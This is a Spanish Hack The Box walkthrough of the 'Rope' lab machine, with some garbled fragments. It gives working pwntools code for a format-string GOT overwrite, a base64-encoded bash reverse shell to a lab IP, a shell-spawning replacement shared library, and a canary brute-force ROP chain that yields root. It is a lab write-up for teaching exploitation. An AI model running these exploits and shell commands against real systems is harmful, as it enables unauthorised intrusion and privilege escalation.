Hack The Box. Tutorial de cuerda. PWN Formatear cadenas y ROP usando pwntools

imagen

Sigo publicando soluciones enviadas para su posterior procesamiento desde el sitio de HackTheBox .

En este artículo, recopilamos muchos pwn, que resolveremos usando pwntools. Creo que será útil para lectores con cualquier nivel de conciencia sobre este tema. Vamos ... La

conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde los datos que son importantes para usted estén disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la información :)

Información organizacional
, , Telegram . , , .

. , - , .

Recon


Esta máquina tiene una dirección IP de 10.10.10.148, que agrego a / etc / hosts.

10.10.10.148    rope.htb

Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero haré esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 500 paquetes por segundo.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500

imagen

Ahora, para obtener información más detallada sobre los servicios que operan en los puertos, realizaremos un análisis con la opción -A.

nmap -A rope.htb -p22,9999

imagen

El host ejecuta SSH y un servidor web. Iremos a la web y nos recibirá un formulario de autorización.

imagen

Al ver un escaneo de directorio, obtenemos un directorio no indexado / (http: //rope.htb: 9999 //).

imagen

Y en el directorio / opt / www encontramos el archivo ejecutable: este es nuestro servidor web.

imagen

HTTPserver PWN


Descárguelo y vea qué protección tiene checksec.

imagen

Por lo tanto, tenemos una aplicación de 32 bits con todas las protecciones activadas, a saber:

  • NX (not execute) — , , , ( ) , , , . .
  • ASLR: (libc), libc. ret2libc.
  • PIE: , ASLR, , . .
  • Canary: , , . , . .

Debido al hecho de que podemos leer archivos en el servidor, podemos leer el mapa de proceso de este archivo ejecutable. Esto nos dará la respuesta a las siguientes preguntas:

  1. ¿A qué dirección se descarga el programa?
  2. ¿Y en qué dirección están cargadas las bibliotecas utilizadas por ella?

Vamos a hacer eso.

curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'

imagen

Por lo tanto, tenemos dos direcciones: 0x56558000 y f7ddc000. Al mismo tiempo, obtenemos la ruta a la biblioteca libc utilizada, también la descargamos. Ahora, teniendo en cuenta todo lo encontrado, haremos una plantilla de exploit.

from pwn import *
import urllib
import base64

host = 'rope.htb'
port = 9999

context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000 
libc_base = 0xf7ddc000

Ahora abra el archivo para su análisis en un desensamblador conveniente para usted (con un descompilador). Utilizo IDA con un montón de complementos, y antes de sentarme para un análisis en profundidad, prefiero ver todo lo que puedo recopilar complementos probados. Uno de muchos es LazyIDA . Y para la consulta "scan format string vuln" obtenemos una placa con funciones potencialmente vulnerables.

imagen

Por la experiencia de usar este complemento, inmediatamente llamé la atención sobre la segunda línea (su parámetro de formato). Pasamos al lugar de uso de esta función y la descompilamos.

imagen

Y las conjeturas se confirman, la línea simplemente se pasa a la función printf. Veamos qué es esta cadena. Vayamos al lugar de la llamada a la función log_access.

imagen

Por lo tanto, estamos interesados ​​en el tercer parámetro, que marcaba la IDA como archivo. Y obtenemos respuestas a todas las preguntas solo mirando referencias cruzadas a esta variable.

imagen

Por lo tanto, este es un puntero a una cadena: el nombre del archivo que se abre para leer. Dado que esta variable es el resultado de ejecutar la función parse_request (), el archivo se abre para lectura y todo el programa es un servidor web, podemos suponer que esta es la página solicitada en el servidor.

curl http://127.0.0.1:9999/qwerty

imagen

Verifiquemos la vulnerabilidad de la cadena de formato.

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')

imagen

¡Multa! Determinemos el desplazamiento (cuántos especificadores% p deben enviarse para obtener 0x41414141 - AAAA al final de la salida).

imagen

Obtenemos 53. Verifique que todo esté correcto.

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')

imagen

No podemos obtener un shell local, pero podemos ejecutar un comando, por ejemplo, lanzar un shell inverso:

bash -i >& /dev/tcp/10.10.15.60/4321 0>&1

Pero para evitar caracteres incómodos, lo codificamos en base64, entonces la llamada de shell se verá así:

echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i

Y al final, reemplace todos los espacios con la construcción $ IFS. Obtenemos el comando que debe ejecutar para volver a conectar.

echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i

Agreguemos esto al código:

offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))

Ahora volvamos a nuestra cadena de formato. Como se llama putf después de printf (), podemos reescribir su dirección en GOT a la dirección de la función del sistema desde libc. Gracias a pwntools, esto es muy fácil de hacer. Suponga que puede obtener la dirección relativa de la función put utilizando binary.got ['put'], también fácilmente con el sistema: función libc.symbols ['system']. Acerca de las líneas de formato y GOT que describí en detalle en los artículos sobre pwn, así que aquí simplemente recopilamos la línea de formato usando pwntools:

writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)

Recopilamos la carga útil final:

payload = shell + " /" + urllib.quote(format_string) + "\n\n"

Nos conectamos y enviamos:

p = remote(host,port)
p.send(payload)
p.close()

El código completo se ve así.

imagen

Ejecutemos el código y volvamos a conectarnos.

imagen

imagen

USUARIO


Verifiquemos la configuración de sudo para ejecutar comandos sin contraseña.

imagen

Y vemos que puede ejecutar registros de lectura en nombre del usuario r4j. No hay vulnerabilidades en la aplicación, los GTFOBins también están ausentes. Veamos las bibliotecas utilizadas por la aplicación.

imagen

ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"

imagen

Es decir, podemos escribir en estos archivos. Escribamos nuestra biblioteca.

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>

void printlog(){
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

Ahora compílalo.

gcc -c -Wall -Werror -fpic liblog.c

Y recoge la biblioteca.

Gcc -shared -o liblog.so liblog.o

Luego cargamos el archivo al host, sobrescribimos la biblioteca y ejecutamos el programa.

imagen

Entonces tomamos al usuario.

RAÍZ


Para enumerar el sistema usamos linpeas.

imagen

Entonces, en el host local, el puerto 1337 está escuchando.

imagen

Como puede ver, nuestro usuario es miembro del grupo adm. Echemos un vistazo a los archivos disponibles para este grupo.

imagen

Hay un archivo interesante Y este es el programa que escucha en el puerto.

imagen

En este caso, la aplicación se ejecuta como root.

imagen

Descargue la aplicación en sí y la biblioteca libc que utiliza. Y tenga en cuenta que ASLR está activo en el host.

imagen

Compruebe qué protección tiene la aplicación.

imagen

Todo al máximo. Es decir, si encontramos un desbordamiento del búfer, necesitaremos eliminar el canario (el valor que se verifica antes de salir de la función para verificar la integridad del búfer), y como técnica para explotar la vulnerabilidad, usaremos ROP (sobre el cual escribí con cierto detalleaquí ) Abramos el programa en cualquier desensamblador con un descompilador que sea conveniente para usted (uso IDA Pro). Descompilamos la función principal main.

imagen

Un ejemplo de un canario es la variable v10, que se establece al comienzo de una función. Veamos de qué es responsable la función sub_1267.

imagen

Entonces aquí abrimos el puerto para escuchar. Puede cambiarle el nombre a is_listen (); vamos más allá La siguiente función definida por el usuario es sub_14EE.

imagen

Antes de enviar, hay otra función de usuario. La miramos a ella.

imagen

Por lo tanto, en esta función, se recibe una cadena de hasta 0x400 bytes y se escribe en el búfer. El comentario sobre la variable buf indica la dirección relativa a la base del marco de pila actual (rbp) - [rbp-40h], y la variable v3 (canario) tiene una dirección relativa [rbp-8h], por lo que para el desbordamiento del búfer necesitamos más [rbp- 8h] - [rbp-40h] = 0x40-8 = 56 bytes.

Por lo tanto, el plan es el siguiente:

  1. encuentra y desborda el búfer;
  2. baja el canario, rbp y rip;
  3. Como PIE está activado, necesita encontrar el desplazamiento real;
  4. encuentre una pérdida de memoria para calcular la dirección en la que se carga la biblioteca;
  5. Recopile ROP, en el que la secuencia de descriptores estándar se redirigirá al descriptor de red del programa, y ​​luego llame / bin / sh a través de la función del sistema.

1. desbordamiento de búfer


Como se puede ver a continuación, al transmitir 56 bytes, el programa continúa funcionando normalmente, pero al transmitir 57 bytes, obtenemos una excepción. Por lo tanto, se viola la integridad del búfer.

imagen

Hagamos una plantilla de exploit. Dado que será necesario ordenar y volver a conectar mucho, deshabilitaremos la salida de mensajes pwntools (log_level).

#!/usr/bin/python3
from pwn import *

HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')

pre_payload = "A" * 56

r = remote(HOST, PORT)

context.log_level='info'
r.interactive()

2.Canario, RBP, RIP


Como descubrimos, después de 56 bytes del búfer hay un canario, y después hay direcciones RBP y RIP en la pila, que también deben ser resueltas. Escribamos una función de coincidencia de 8 bytes.

def qword_brute(pre_payload, item):
    qword_ = b""
    while len(qword_) < 8:
        for b in range(256):
            byte = bytes([b])
            try:
                r = remote(HOST, PORT)
                print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
                send_ = pre_payload + qword_ + byte
                r.sendafter(b"admin:", send_)
                if b"Done" not in r.recvall(timeout=5):
                    raise EOFError
                r.close()
                qword_ += byte
                break
            except EOFError as error:
                r.close()
    context.log_level='info'            
    log.success(f"{item} found: {hex(u64(qword_))}")
    context.log_level='error' 
    return qword_

Entonces podemos componer pre_payload:

pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")

3 pastel


Ahora tratemos con PIE. Encontramos RIP: esta es la dirección de retorno donde regresamos de la función. Por lo tanto, podemos restarle la dirección de retorno en el código.

imagen

Por lo tanto, el desplazamiento desde la base es 0x1562. Indiquemos la dirección real de la aplicación en ejecución.

base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')

4 fuga de memoria


La aplicación utiliza la función estándar write () para mostrar la cadena de solicitud, que lleva un identificador a la salida, un búfer y su tamaño. Podemos usar esta función.

Por conveniencia, usemos el módulo ROP de pwntools. En resumen, cómo y por qué esto funciona se presenta en la imagen a continuación.

imagen

Hagamos una filtración, esto nos permitirá saber en qué dirección se encuentra la función de escritura en la biblioteca libc cargada.

rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']

5.ROP


Cambiemos la dirección base de la biblioteca libc y busquemos la dirección de la línea / bin / sh.

libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))

Queda por recopilar el ROP, en el cual los descriptores de E / S estándar (0,1,2) serán redirigidos al descriptor registrado en el programa (4). Después de lo cual se llamará a la función del sistema, donde pasaremos la dirección de la línea / bin / sh.

rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)

payload = pre_payload + flat(rop_libc.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")

6. Operación
Código de explotación completo.

imagen

Ahora en el servidor, escriba la clave ssh en el archivo /home/r4j/.ssh/authorizef_keys.

imagen

Y reenvíe el puerto (asegúrese de que la conexión desde el puerto local 1337 se redirija a través de SSH al puerto 1337 del host remoto).

ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb

Y lanza el exploit.

imagen

Trabajamos bajo la raíz.

Puedes unirte a nosotros en Telegram . Allí puede encontrar materiales interesantes, cursos combinados, así como software. Reúnamos una comunidad en la que habrá personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.

All Articles